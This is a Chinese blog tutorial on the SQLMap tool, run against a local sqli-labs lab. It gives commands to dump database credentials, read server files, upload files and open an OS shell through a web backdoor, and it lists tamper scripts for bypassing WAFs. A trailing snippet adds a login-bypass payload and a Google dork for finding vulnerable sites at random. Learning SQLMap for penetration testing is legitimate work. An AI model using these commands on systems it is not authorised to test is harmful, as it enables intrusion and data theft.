渗透常用工具之SQLMap使用

最新推荐文章于 2024-05-13 03:40:06 发布
最新推荐文章于 2024-05-13 03:40:06 发布
阅读量649 收藏 10
点赞数 2
分类专栏： 渗透测试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_33168924/article/details/108255257
版权

SQLMap的使用详解

0x01 SALMap的简单介绍

SQLMap是一个自动化的SQL注入工具，主要功能是扫描，发现并利用给定的URL的SQL注入漏洞，内置了很多绕过插件，支持大部分的主流数据库，包括MySql，Oracle，PostSQL, MicrosoftSQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase 和SAP MaxDB。
SQLMap采用了5种SQL注入技术。

  1. 基于报错的注入：即页面会返回错误信息，或者直接返回了注入语句的结果
  2. 基于布尔的注入：根据页面返回判断条件真假的注入
  3. 基于时间的注入：在不能根据页面返回的内容判断任何信息，要利用条件查看时间延迟语句是否已经执行(页面返回响应时间是否增加来判断)
  4. 联合查询注入：再可以使用Union的情况下注入
  5. 堆查询注入：可以同时执行多条语句时的注入

0x02 SQLMap的安装

说明： SQLMap的安装需要Python2.7(因为不支持Python3)
SQLMap下载地址： http://www.sqlmap.org
下载最新版本SQLMap到Python安装目录，并把SQLMap目录加到环境变量中.
在cmd种，输入命令sqlmap.py启动工具
在这里插入图片描述

0x03 SQLMap使用

A) 常规使用

**注意：**使用前先搭建一个靶机环境，搭建过程：sqli -ab靶场环境搭建过程

  1. 判断指定的url是否存在注入点
    目标Url:http://192.168.98.160/sqli-labs-master/Less-1/?id=1
    sqlmap.py -u http://192.168.98.160/sqli-labs-master/Less-1/?id=1
    sqlmap的注入级别有5个级别，测试强度逐渐加深，测试过程中有交互，阅读英文选择y/n进行选择。
    在这里插入图片描述
    测试结束：可以看到测试输入的结果，sqlmap对指定的Url进行了4中类型的注入测试，并给出payload,测试输入的日志保存的文件位置，结果显示指定的url存在注入，并检测到了数据库是Mysql5.0。但是实际上我使用的是5.5的版本，这说明版本检测信息不是很准确。
    在这里插入图片描述
  2. 判断文本中的请求是否存在注入：
    sqlmap从http文本中获取url请求，这样不用设置其他参数(如cookie,POST等)
    sqlmap.py -r filepath
    在这里插入图片描述

3.查询当前用户下的所有数据库
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --dbs
在这里插入图片描述

4.获取数据库中的表名
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 -D security --tables
在这里插入图片描述

5.获取表中的字段
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 -D security -T users --columns.
在这里插入图片描述

6.获取字段内容
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 -D security -T users -C username,password --dump
在这里插入图片描述

7.获取数据库中的所有用户
注意：需要当前的用户具有读取包含所有用户的表的权限，使用该命令
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --users

在这里插入图片描述

8.获取数据库用户的密码
注意：下面命令需要当前的用户有读取包含用户密码的权限，SQLMap会先列举出用户，在列出对应用户密码hash,并尝试破解，也可以先存储，等待以后使用其他工具破解。
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --password
在这里插入图片描述

9.获取当前网站数据库的名称
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --current-db
在这里插入图片描述

10.获取当前网站的数据库的用户名称
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --current-user
可以看到当前数据库的用户是root
在这里插入图片描述

命令汇总：

命令描述
sqlmap.py -u http://192.168.98.160/sqli-labs-master/Less-1/?id=1判断指定url是否有注入点
sqlmap.py -u “http://192.168.98.160/sqli-labs-master/Less-1/?id=1”当注入的url中的参数大于等于两个时，需要在url上加上双引号
sqlmap.py -r C:\Users\mz\Desktop\sqli_test.txt从指定的web数据包文本中读取url并注入
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 -D security --tables获取指定数据库中的表名
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 -D security -T users --columns获取指定数据库指定表中的所有列名
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 -D security -T users -C username,password --dump获取指定库，指定表，指定列中的内容
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --users在当前用户有权限读取包含所有用户的表的权限时，使用该命令可以列出所有的管理用户
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --password当前的用户有读取包含用户密码的权限
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --current-db获取当前网站数据库的名称
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --current-user获取当前网站使用的数据库的用户

B）高级参数使用

1.探测等级
–level 5 :
参数说明：需要执行的测试等级，一共5个等级(1-5),可以不加level,默认等级1，等级越高，测试使用的payload也就越多，测试深度越深，也可根据相应的格式添加自己的Payload。这个参数影响测试的注入点，GET和POST的数据都会进行测试。

–level 2:HTTP cookie被测试

–level 3: HTTP User-Agent/Referer头在level为3时测试

所以，在不确定使用那个payload或参数为注入点时，为了保证全面性，建议使用高的level值，直接使用 --level 5。

  1. 判断当前用户是否为管理员权限
    –is-dba
    在这里插入图片描述

  2. –roles : 列出数据库管理员角色
    在这里插入图片描述

  3. –referer:HTTP Referer头
    SQLMap可以在请求中伪造http的referer头，当–level参数为3或以上时，会尝试对referer注入，可以是用referer参数欺骗：
    sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --referer http://www.baidu.com

  4. –sql-shell:运行自定义SQL语句

  5. –os-cmd, --os-shell：运行任意操作系统命令
    命令执行后会提示数据库服务器的操作系统类型，web服务器架构，提示选择上传木马，sqlmap会选择将web木写入到web服务器，提供命令执行的环境
    在这里插入图片描述

  6. –file-read：从数据库服务中提取文件
    sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --file-read /etc/profile -v 1
    在这里插入图片描述

  7. –file-write–file-dest：上传到数据库服务器
    sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --file-write c:/1.txt --file-dest /www/web/在这里插入图片描述

高级参数命令总汇

命令描述
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --level 5指定探测等级
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --is-dba当前用户是否为管理员
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --roles查看数据库的用户的角色，需要当前用户有权限读取包含所有用户的表，该命令可以列出每个用户角色，也可以用-U指定用户
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --referer http://www.baidu.com使用此参数提供虚假的http头
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --sql-shell 命令获得一个sql的shell,运行自己的sql语句
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --os-cmd 命令获取widnows操作系统的shell,执行windows的cmd命令,需要当前的数据库is dba，SQLMap上传包含用户自定义的函数sys_exec()和sys_eval()，那么这两个函数就可以执行系统命令，在Microsoft SQL Server中，sqlmap将使用xpcmdshell存储过程，如果被禁用，sqlmap将会重启他，不存在则自动创建
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --os-shell获取linux操作系统的shell，执行linux的命令，需要当前的数据用户is dba，当不能执行多语句时，可以INTO OUT FILE向服务器可写目录写入web后门(ASP, .NET, JSP和PHP)
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --file-read filepath从数据库中读取文件
sqlmap.py http://192.168.98.160/sqli-labs-master/Less-1/?id=1 --file-write filepath --file-dest filepath将本地指定文件写入到服务器中，条件：数据库为Mysql,postgreSQL,Microsoft SQL Server，并且当前用户有权限使用特定的函数，上传的文件可以是二进制或者文本

C）自带绕过模块tamper的使用

注意：sqlmap在默认的情况下除了使用CHAR()函数防止出现单引号，没有对注入的数据进行修改，还刻有使用–tamper参数对数据进行修改，用来绕过WAF等设备，其中大部分脚本主要使用正则模块替换攻击载荷字符编码的方式绕过WAF的检测规则。
命令：sqlmap.py xxxxx --tamper “模块”
在sqlmap/tamper中存在很多的绕过脚本
其中一个脚本如下：
有两个方法，一个方法是依赖项，另一个tamper使用正则替换paylaod
proority 定义脚本的优先级，在使用多个tamper脚本的情况起作用
dependencies()声明该脚本适用/不适用的范围，可以为空
tamper将传入的payload进行正则替换输出
在这里插入图片描述

日常使用sqlmap渗透的过程中，先使用参数 --identify-waf进行检测

脚本介绍：

脚本名作用
apostrophemask.py将引号替换为UTF-8,用于过滤单引号
base64encode.py替换为base64编码
multiplespaces.py围绕SQL关键字添加多个空格
space2plus.py使用+替换为空格
nonrecusiverplacement.py作为双重查询语句，用双重语句替代预定义的sql关键字，适用于非常弱的自定义过滤器)
space2randomblank.py将空格转换为其他随机字符
unionalltounion.py将UNION ALL SELECT 替换为UNION SELECT
securesphere.py追加特制的字符串
between.py使用NOTBETWEEN 0 AND 替换大于号(>)，用BETWEEN AND 替换等号(=)
percentage.pyASP允许在每一个字符前添加一个%
sp_password.py从DBMS日志的自动模糊处理的有效载荷中追加sp_password
charenconde.py对给定的payload全部字符使用url编码(以及编码的字符不做处理)
randomcase.py随机大小写
charunicodeencode.py字符unicode编码
space2comment.py将空格替换为/**/
equaltolike.py将等号替换为like
greatest.py绕过“>”的过滤，用GREATEST替换大于号
ifnull2ifisnnull.py绕过IFNULL的过滤，将类似IFNULL(A,B)替换为IF(ISNULL(A),B,A)
modsecurityversioned.py过滤空格，使用mysql内连注释的方式进行注入
space2mysqlblank.py将空格转换为其他空白符(适用于Mysql)
modsecurityzeroversionedd.py使用msyql内联注释的方式(/!00000/)进行注入
space2mysqldash.py将空格替换为–,并添加一个换行符
bluecoat.py在sql关键字之后使用随机有效的控板字符替换空格符，随后用LIKE替换等于号
versionedkeywords.py注释绕过
halfversiondmorekeywords.py当数据库为mysql时绕过防火墙，在每个关键字之前添加mysql版本注释
space2morehash.py将空格替换为#号，并添加一个随机字符串和换行符
apostrophenullencode.py用非法双字节unicode字符串替换单引号
appendnullbyte.py在有效负荷的结束伪造假证零字节字符编码
chardoubleencode.py对给定的payload全部字符串使用双重url编码(已经编码的字符不进行编码)
unimagicquotes.py用一个多字节组合(%bf%27)和末尾通用注释一起替换空格
randomconments.py使用/**/分割SQL关键字

SQLMap的使用注意：
虽然SQLMap自带的tamper可以做很多事情，但实际情况中，遇到的情况通常比较复杂，为了面对复杂的情况，不仅要学习使用自动的tamper，还有掌握tamper的编写规则，在实战环境中编写自己的规则绕过WAF,IDS,IPS。

0rch1d
关注
  • 2
    点赞
  • 踩
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
渗透测试工具之SQLMap的详细使用方法
Hvnt3r的博客
08-13 3428
SQLMap的介绍以及使用方法，本文的实验环境基于DVWA，附官方给出的使用文档及笔者的翻译
使用Sqlmap对目标站点进行渗透攻击
weixin_53897304的博客
06-13 1858
掌握Kali Linux中的Sqlmap各类功能及参数配置 技能目标：使用Sqlmap对目标站点进行渗透攻击
渗透工具- SQLMap
LJH1999ZN的博客
02-13 610
一、sqlmap的介绍
sql注入-安全测试必备“7”个工具_sql注入测试工具(1)
最新发布
2401_84969865的博客
05-13 1244
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！
渗透测试：sqlmap的用法
weixin_45754647的博客
05-21 305
sp:7.1 一、用法一 二、post注入： 1、打开bp(burpsuit) ,然后打开网站，用bp进行抓包，将抓到的包，保存到sqlmap文件夹下面一个文件里面（没有可以重新编辑一个文件）
渗透测试工具之sqlmap
跟着互联网
03-28 1551
渗透测试是一种利用模拟黑客攻击的方式来评估计算机网络系统安全性能的方法。 渗透测试工具很多，其中sqlmap 是一个开源的渗透测试工具，可以用来进行自动化的检测，利用SQL注入漏洞，获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项，包括获取数据库中存储的数据，访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。 本文介绍CentOS下（s...
sqlmap渗透工具
07-06
同时，由于SQLMap可能涉及非法活动，因此必须确保只在合法的渗透测试或研究环境中使用，遵循道德黑客的原则，尊重隐私和法律。 总之，SQLMap是一个强大的工具，对于安全专业人士来说，理解和掌握其使用方法至关重要...
Sqlmap使用手册中文版
01-13
Sqlmap是一款强大的、自动化的SQL注入工具，广泛用于渗透测试领域。它由Python编写，能够检测和利用多种类型的SQL注入漏洞，确保Web应用程序的安全性。Sqlmap支持五种不同的注入模式，包括基于布尔的盲注、基于时间...
渗透测试必备神器SQLMAP的所有绕waf脚本合集
10-18
SQLMAP是一款开源的自动化渗透测试工具，专门用于检测和利用SQL注入漏洞。它以其高效、智能化的特点，在网络安全领域中备受青睐。SQL注入攻击是黑客利用应用程序处理用户输入时的疏忽，将恶意的SQL代码注入到查询...
SQLMAP使用笔记.pdf
01-25
SQLMAP 是一个开源的渗透测试工具，用于检测和利用 SQL 注入漏洞。下面是 SQLMAP 的使用笔记，包括常用参数、选项和示例。 一、SQLMAP 的基本使用 SQLMAP 的基本语法为：`sqlmap -u <url> [options]` 其中，`-u` ...
sqlmap工具
11-26
SQLMap是一款强大的、自动化SQL注入工具，主要用于检测和利用网站应用程序中的SQL注入漏洞。它能够帮助安全研究人员或渗透测试人员快速、有效地发现和利用数据库层面的安全弱点，而无需深入掌握SQL语言的复杂性。 1...
sql注入工具
11-27
sql注入工具 domian 很不错的一个工具 可以试试 sql注入工具
SQL注入工具
09-24
珍藏版，禁止外穿。
sql注入工具sql注入工具sql注入工具sql注入工具
03-13
sql注入工具sql注入工具sql注入工具sql注入工具sql注入工具sql注入工具
啊D——SQL注入工具
12-01
啊D注入工具
sqlmap中文版本(和谐渗透小组专用)
10-22
SQL注入1 简介 许多现实中对于网站的攻击往往是由于网站没有及时更新或者对于用户的输入没有进行检查。从缓冲区溢出说起，这样一种针对系统脆弱性的威胁，最根本的问题还是在于对于用户的输入没有进行检查。作为主要威胁之一的SQL注入带来了人们对于其应用和数据库的担忧。这个问题的出现有十年的时间了，但是现在仍旧在许多网站中出现。SQL注入就像许多当前主要的的web应用安全攻击问题也被划归在了对于用户输入的检查上。 正文 许多web开发者并不知道SQL语句能够被自定义（handle）并且假定SQL语句是一个让人信任的命令。这就让SQL语句能够绕过访问控制机制（access control），因此跳过标准的授权和认证检查。甚至有些时候SQL语句能够允许使用服务器操作系统上的命令行的权限。 直接的SQL注入命令是一种方法，它被攻击者构造或者是修改现成的SQL命令来暴露出隐藏的数据或者是覆盖掉有价值的数据，甚至在服务器上执行危险地系统指令 入门 结构化的语言是数据库的标准声明语言。这让（语言）变的更加简洁并且更易于使用。SQL起源于70年代的IBM实验室。SQL被用来让应用程序与数据库之间进行通信。 SQL使用如下的4种语言来对数据库进行操作 SELECT -从数据库中获得一条记录 INSERT-向数据库中插入一条记录 DELETE-从数据库中删除一条记录 UPDATE-从数据库中更新或者改变当前记录 当用户提交的语句被用作数据库的查询语句时SQL就能够发生。比如当用户被网站认证授权，用户发送一个带有”用户名”和”密码”的信息，用户名/密码就与存放在数据库中的内容进行核对。如果相同的话用户就被允许登录，否则用户登录失败。以下是一个在后台进行登录的例子。 代码 SELECT * FROM user WHERE username='$username' AND password='$password' 这个语句简单地指明了从user的表中查询用户名和username相等的，并且密码和password相等的。所以，如果用户发送用户名为”admin”,并且密码为”12345″,那么SQL语句被创建如下: SELECT * FROM user WHERE username='admin' AND password ='12345' 注入 那么，如果用户输入’ or ’1′=’1,第一个引号会终止输入的字符串，剩下的会被当做SQL语句，并且在SQL语句中1=1恒为真，这就能够让我们绕过注册机制 SELECT * FROM user WHERE username=’admin’ AND password =”or ’1′=’1′ -TRUE 上述是一个SQL注入的简单地例子，然而在实际过程中，SQL注入比这要复杂的多。在我们的渗透测试中，大多数时候我们有一个非常紧凑的计划表，所以这个时候我们需要一个自动化的攻击来为我们进行注入攻击。 SQLMAP就是一能够利用（系统）脆弱性的工具。它是开源的，并经常被用来在Python写的脆弱的DBMS上进行入侵的渗透测试。它能够检测并利用SQL上的漏洞，让我们举例在操作系统和数据库上使用sqlmap.py。 一步一步 我将尽可能地以最简洁的方式展示出来。 最常见的检测SQL注入的方法是通过在输入处添加一个单引号(')并且期待（系统）返回一个错误，有些应用程序并不会返回错误。这个时候我们就会利用true/false语句来检查是否这个应用程序会受到SQL注入的攻击。 为了随机的找到还有SQL注入的脆弱性的网站，你能够使用如下格式的语句利用google dork：inurl:news.php id =1?将会出现一堆google dork的数据并且为你过滤你搜索得到的结果提供了可能。那么让那个我们开始吧。
常用的渗透测试工具之 SQLMap
m0_58724126的博客
11-13 1389
《web安全攻防》第三章学习之SQLmap。SQLMap是自动化的SQL注入工具，主要功能是扫描，发现并利用URL的SQL注入漏洞，内置了很多绕过插件。SQLMap的强大功能包括数据库指纹识别，数据库枚举，数据提取，访问目标文件系统，并在获取完全操作权限时实行任意命令。
SQLMAP渗透笔记之Cookie中转注入
Birdman-one的博客
12-26 2610
---------------------------------------------------------------------------------------------                 SQLMAP渗透笔记之Cookie中转注入                                       ---------------
渗透工具sqlmap学习
陈宇明
02-01 2974
对于网络安全人员来说，掌握渗透工具的使用方法是一项必备的技能。 sqlmap是一款非常强大的开源sql自动化注入工具，可以用来检测和利用sql注入漏洞。它由python语言开发而成，因此运行需要安装python环境。 检测注入点 显示数据库名称 当前的数据库 数据库使用账户 列出数据库用户 数据库账户与密码 列出数据库中的表 列出表中字段 显示字段内容 指定导出特定范围的字
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值